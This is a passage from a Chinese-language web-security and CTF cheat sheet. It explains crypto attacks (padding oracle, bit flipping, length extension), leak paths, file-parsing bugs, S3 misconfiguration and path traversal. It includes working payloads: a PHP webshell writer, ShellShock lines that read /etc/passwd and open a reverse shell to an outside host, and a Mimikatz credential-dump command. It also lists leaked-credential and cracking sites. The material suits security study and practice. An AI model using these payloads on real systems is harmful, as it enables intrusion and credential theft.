  - 改成L-1個a，可得到`ECB(K, "aa...a" + C[0])`這個Block的內容
  - C[0]可爆破求得，後面也依此類推
- 常見發生場景：Cookie

CBC mode

Bit Flipping Attack

- 假設IV為A、中間值為B (Block Decrypt後結果)、明文為C
- CBC mode解密時，`A XOR B = C`
- 若要使輸出明文變X
- 修改A為`A XOR C XOR X`
- 則原本式子變成`(A XOR C XOR X) XOR B = X`

Padding Oracle Attack

- PKCS#7
  - Padding方式：不足x個Byte，就補x個x
    - 例如：Block長度8
    - AA AA AA AA AA AA AA 01
    - AA AA AA AA AA AA 02 02
    - AA AA AA AA AA 03 03 03
    - ...
    - 08 08 08 08 08 08 08 08
  - 在常見情況下，如果解密出來發現Padding是爛的，會噴Exception或Error
    - 例如：HTTP 500 Internal Server Error
    - 須注意以下這類情況，不會噴錯：
      - AA AA AA AA AA AA 01 01
      - AA AA 02 02 02 02 02 02
- 原理：
  - CBC mode下，前一塊密文會當作當前這塊的IV，做XOR
  - 如果構造A||B去解密 (A, B是密文Block)
  - 此時，A會被當作B的IV，B會被解成D(B) XOR A
  - 可以透過調整A，使得Padding變合法，就可以得到D(B)的值
    - 例如：要解最後1 Byte
    - 想辦法讓最後解出來變成01結尾
    - 運氣不好時，可能剛好碰到02 02結尾，可以調整一下A倒數第2 Byte
    - D(B)[-1] XOR A[-1] = 01
    - D(B)[-1] = A[-1] XOR 01
    - 有最後1 Byte就可以依此類推，調整倒數第2 Byte
  - D(B) XOR C就能得到明文 (C為前一塊真正的密文)

Length Extension Attack

- 很多hash算法都可能存在此攻擊，例如md5, sha1, sha256...
- 主要是因為他們都使用Merkle-Damgard hash construction
- 會依照64 Byte分組，不足會padding
  - 1 byte的0x80+一堆0x00+8 bytes的長度
- IV是寫死的，且每一組輸出結果會當下一組的輸入
- 攻擊條件： (這裏md5換成sha1, sha256...也通用)
  - 已知md5(secret+message)
  - 已知secret長度
  - 已知message內容
- 符合三個條件就能構造md5(secret+message+padding+任意字串)

- 工具 - hashpump
    - 基本用法：
        1. 輸入`md5(secret+message)`的值
        2. 輸入`message`的值
        3. 輸入`secert`長度
        4. 輸入要加在後面的字串
        5. 最後會把`md5(secret+message+padding+任意字串)`和`message+padding+任意字串`噴給你

其它

- Information leak
    - .git / .svn
    - robots.txt
    - /.well-known
    - .DS_Store
    - .htaccess
    - .pyc
    - server-status
    - crossdomain.xml
    - admin/ manager/ login/ backup/ wp-login/ phpMyAdmin/
    - xxx.php.bak / www.tar.gz / xxx.php.swp / xxx.php~ / xxx.phps
    - /WEB-INF/web.xml
- 文件解析漏洞
    - Apache
        - shell.php.ggininder
    - IIS
        - IIS < 7
            - a.asp/user.jpg
            - user.asp;aa.jpg
    - Nginx
        - nginx < 8.03
            - `cgi.fix_pathinfo=1`
            - Fast-CGI開啟狀況下
            - kaibro.jpg: `<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>`
            - 訪問`kaibro.jpg/.php`生成shell.php
- AWS常見漏洞

- S3 bucket權限配置錯誤
  - nslookup判斷
    - `nslookup 87.87.87.87`
    - `s3-website-us-west-2.amazonaws.com.`
  - 確認bucket
    - 訪問`bucketname.s3.amazonaws.com`
    - 成功會返回bucket XML資訊
  - awscli工具
    - 列目錄 `aws s3 ls s3://bucketname/ --region regionname`
    - 下載 `aws sync s3://bucketname/ localdir --region regionname`
- metadata
  - http://169.254.169.254/latest/meta-data/
  - Tool
    - https://andresriancho.github.io/nimbostratus/
- 常見Port服務
  - http://packetlife.net/media/library/23/common_ports.pdf
- `php -i | grep "Loaded Configuration File"`
  - 列出php.ini路徑
- `curl -i -X OPTIONS 'http://evil.com/'`
- ShellShock
  - `() { :; }; echo vulnerable`
  - `() { :a; }; /bin/cat /etc/passwd`
  - `() { :; }; /bin/bash -c '/bin/bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'`
- X-forwarded-for偽造來源IP
- DNS Zone Transfer
  - `dig @1.2.3.4 abc.com axfr`
    - DNS Server: `1.2.3.4`
    - Test Domain: `abc.com`
- NodeJS unicode failure
  - 內部使用UCS-2編碼
  - `ＮＮ => ..`
    - `Ｎ` 即 `\xff\x2e`

        - 轉型時捨棄第一個Byte

- 特殊的CRLF Injection繞過
    - %E5%98%8A
    - 原始的Unicode碼為U+560A
    - raw bytes: 0x56, 0x0A
- MySQL utf8 v.s. utf8mb4
    - MySQL utf8編碼只支援3 bytes
    - 若將4 bytes的utf8mb4插入utf8中，在non strict模式下會被截斷
    - CVE-2015-3438 WordPress Cross-Site Scripting Vulnerability
- Nginx目錄穿越漏洞
    - 常見於Nginx做Reverse Proxy的狀況 location /files { alias /home/ }
    - 因為/files沒有加上結尾/，而/home/有
    - 所以/files../可以訪問上層目錄
- Node.js目錄穿越漏洞
    - CVE-2017-14849
    - 影響: 8.5.0版
    - /static/../../../foo/../../../../etc/passwd
- Apache Tomcat Session操縱漏洞
    - 預設session範例頁面/examples/servlets /servlet/SessionExample
    - 可以直接對Session寫入
- tcpdump
    - -i 指定網卡，不指定則監控所有網卡
    - -s 默認只抓96bytes，可以-s指定更大數值
    - -w 指定輸出檔
    - host 指定主機(ip or domain)
    - dst, src 來源或目的端
    - port指定端口
    - tcp, udp, icmp 指定協議
    - example
        - 來源192.168.1.34且目的端口為80

    - `tcpdump -i eth0 src 192.168.1.34 and dst port 80`
- 來源192.168.1.34且目的端口是22或3389
    - `tcpdump -i eth0 'src 192.168.1.34 and (dst port 22 or 3389)'`
- 保存檔案，可以後續用wireshark分析
    - `tcpdump -i eth0 src kaibro.tw -w file.cap`

Tool & Online Website

Information gathering

- http://pentest-tools.com/
- https://www.shodan.io/
- https://www.zoomeye.org/
- https://censys.io
- https://crt.sh/
- http://webscan.cc/
- https://x.threatbook.cn/
- https://dnsdumpster.com/
- https://www.domainiq.com/reverse_whois
- https://www.yougetsignal.com/tools/web-sites-on-web-server/
- https://www.robtex.com/dns-lookup/
- https://phpinfo.me/bing.php
- https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
- https://github.com/laramies/theHarvester
- https://github.com/drwetter/testssl.sh
- https://github.com/urbanadventurer/WhatWeb
- https://buckets.grayhatwarfare.com/

Social Engineering

- https://leakedsource.ru/
- https://www.shuju666.com/
- http://www.pwsay.com/
- http://www.mimayun.club/

- http://leakbase.pw
- https://haveibeenpwned.com/

Crack

- http://cmd5.com
- https://somd5.com/
- https://crackstation.net/
- https://hashkiller.co.uk/

其它

- https://3v4l.org/
    - php eval
- https://github.com/denny0223/scrabble
    - git
- https://github.com/lijiejie/ds_store_exp
    - .DS_Store
- https://github.com/kost/dvcs-ripper
    - git / svn / hg / cvs ...
- http://www.factordb.com/
- unicode converter
    - https://www.branah.com/unicode-converter
- PHP混淆 / 加密
    - http://enphp.djunny.com/
    - http://www.phpjm.net/
- https://github.com/PowerShellMafia/PowerSploit
- https://github.com/swisskyrepo/PayloadsAllTheThings/
- http://xssor.io
- https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt
    - XSS Payloads
- DNSLog
    - http://ceye.io

    - https://www.t00ls.net/dnslog.html
    - http://dnsbin.zhack.ca/
- https://r12a.github.io/apps/encodings/
    - Encoding converter
- Mimikatz
    - `mimikatz.exe privilege::debug sekurlsa::logonpasswords full exit >> log.txt`

Contributing

Welcome to open Pull Request

OR